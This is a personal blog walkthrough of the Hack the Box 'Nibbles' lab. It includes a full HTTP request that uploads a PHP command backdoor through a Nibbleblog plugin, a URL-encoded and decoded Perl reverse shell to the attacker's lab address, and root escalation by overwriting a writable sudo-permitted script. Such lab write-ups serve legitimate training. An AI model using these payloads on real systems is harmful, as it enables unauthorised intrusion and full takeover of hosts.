Hack the Box Nibbles Walkthrough – First HtB!

I recently solved the Hack the Box Nibbles box and wanted to share my walkthrough.

Hack the Box Nibbles - Introduction

If you are not familiar with Hack the Box, it is an online set of pentesting labs. There are a few different boxes and tiers, but I got access to a dedicated lab from some Faraday training.

I've never been in this lab before, but I've heard a lot of good things about it.

HtB reminds me of an online VulnHub, so hopefully I'll be able to solve a few more boxes during my 30-day access.

Enumeration

First, I found that port 80 was open on my target at http://10.10.10.75/.

In the source code of the page, I found a comment referencing a nibbleblog directory.

<!-- /nibbleblog/ directory. Nothing interesting here! -->

When I visited the http://10.10.10.75/nibbleblog/ link, it brought me to the home page for a nibbleblog.

Hack the Box Nibbles - Blog

With a bit of research and searching, I found where the admin page could be found and some potential default credentials.

admin  //  nibbles

I visited the admin page at http://10.10.10.75/nibbleblog/admin.php and was able to login.

Hack the Box Nibbles - Admin

Hack the Box Nibbles - Exploitation

With access to the admin panel, it was time to get a shell on the box.

I found an exploit and the actual write-up that looked perfect for this challenge.

First, I uploaded my PHP shell to the my_image plugin.

POST /nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image HTTP/1.1
Host: 10.10.10.75
Content-Length: 1241
Cache-Control: max-age=0
Origin: http://10.10.10.75
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2nivcPbQVLdlnh6l
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="plugin"

my_image
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="title"

My image
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="position"

4
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="caption"


------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image"; filename="Simple-Backdoor-One-Liner.php"
Content-Type: text/php

<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_resize"

1
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_width"

230
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_height"

200
------WebKitFormBoundary2nivcPbQVLdlnh6l
Content-Disposition: form-data; name="image_option"

auto
------WebKitFormBoundary2nivcPbQVLdlnh6l--

Next, I sent a request to the newly uploaded image.

GET /nibbleblog/content/private/plugins/my_image/image.php?cmd=%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%30%2e%31%30%2e%31%34%2e%32%22%3b%24%70%3d%34%34%34%34%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%22%29%3b%7d%3b%27 HTTP/1.1
Host: 10.10.10.75
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [Cookie]
Connection: close

If you can't tell from the URL encoding, this is a basic Perl reverse shell.

perl -e 'use Socket;$i="10.10.14.2";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

On my attacker box, I was able to catch the shell, and obtain the user level flag!

root@kali:~/HtB/Nibbles# nc -lvp 4444
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
$ cd /home/nibbler
$ ls -al
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Dec 10  2017 user.txt
$ cat user.txt
b02ff32bb332deba49eeaed21152c8d8

Note: in addition to just guessing that the username was admin, I could have visited the http://10.10.10.75/nibbleblog/content/private/users.xml page.

<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1576785626</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.14.2">
<date type="integer">1576784799</date>
<fail_count type="integer">2</fail_count>
</blacklist>
</users>

Privilege Escalation

With user level privileges, it was time to escalate to root.

First, I checked out my sudo privileges. As you can see, I had access to run one shell script in my home directory.

$ sudo -l

sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

After unzipping that personal.zip archive from earlier, I looked at the monitor.sh script.

                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

# clear the screen
clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name
do
        case $name in
          i)iopt=1;;
          v)vopt=1;;
          *)echo "Invalid arg";;
        esac
done

if [[ ! -z $iopt ]]
then
{
wd=$(pwd)
basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname
scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname)
su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed"
}
fi

if [[ ! -z $vopt ]]
then
{
echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License"
}
fi

if [[ $# -eq 0 ]]
then
{


# Define Variable tecreset
tecreset=$(tput sgr0)

# Check if connected to Internet or not
ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

# Check OS Type
os=$(uname -o)
echo -e '\E[32m'"Operating System Type :" $tecreset $os

# Check OS Release Version and Name
cat /etc/os-release | grep 'NAME\|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease
echo -n -e '\E[32m'"OS Name :" $tecreset  && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d\"
echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d\"

# Check Architecture
architecture=$(uname -m)
echo -e '\E[32m'"Architecture :" $tecreset $architecture

# Check Kernel Release
kernelrelease=$(uname -r)
echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

# Check hostname
echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

# Check Internal IP
internalip=$(hostname -I)
echo -e '\E[32m'"Internal IP :" $tecreset $internalip

# Check External IP
externalip=$(curl -s ipecho.net/plain;echo)
echo -e '\E[32m'"External IP : $tecreset "$externalip

# Check DNS
nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}')
echo -e '\E[32m'"Name Servers :" $tecreset $nameservers 

# Check Logged In Users
who>/tmp/who
echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who 

# Check RAM and SWAP Usages
free -h | grep -v + > /tmp/ramcache
echo -e '\E[32m'"Ram Usages :" $tecreset
cat /tmp/ramcache | grep -v "Swap"
echo -e '\E[32m'"Swap Usages :" $tecreset
cat /tmp/ramcache | grep -v "Mem"

# Check Disk Usages
df -h| grep 'Filesystem\|/dev/sda*' > /tmp/diskusage
echo -e '\E[32m'"Disk Usages :" $tecreset 
cat /tmp/diskusage

# Check Load Average
loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}')
echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

# Check System Uptime
tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,)
echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

# Unset Variables
unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

# Remove Temporary Files
rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage
}
fi
shift $(($OPTIND -1))

When nothing jumped out at me as vulnerable, I also looked at the permissions. Since I could overwrite the monitor.sh script, I created a backup, and wrote a new one that would execute /bin/bash.

$ ls -al
total 12
drwxr-xr-x 2 nibbler nibbler 4096 Dec 10  2017 .
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10  2017 ..
-rwxrwxrwx 1 nibbler nibbler 4015 May  8  2015 monitor.sh
$ cp monitor.sh monitor_bak.sh
$ echo '/bin/bash' > monitor.sh

When I executed the new monitor.sh script using sudo, I successfully escalated to root!

$ sudo ./monitor.sh
id
sudo: unable to resolve host Nibbles: Connection timed out
uid=0(root) gid=0(root) groups=0(root)

And, as root, I was able to obtain the second flag on the box.

cat /root/root.txt
b6d745c0dfb6457c55591efc898ef88c

Hack the Box Nibbles - Conclusion

This was one of the simpler boxes based on both my experience, as well as the user voting. That said, I'm glad that I got to try it, and was impressed with the HtB UI and infrastructure.

I'm hoping to knock out a few more boxes during my lab access, so stay tuned.

If you have any suggestions for interesting boxes, or ones that would make a good write-up, then let me know.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

As an Amazon Associate I earn from qualifying purchases.

Common passed on this blog, I made it to a jam.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

ERROR: si-captcha.php plugin: GD image support not detected in PHP!

Contact your web host and ask them to enable GD image support for PHP.

ERROR: si-captcha.php plugin: imagepng function not detected in PHP!

Contact your web host and ask them to enable imagepng for PHP.

This site uses Akismet to reduce spam. Learn how your comment data is processed.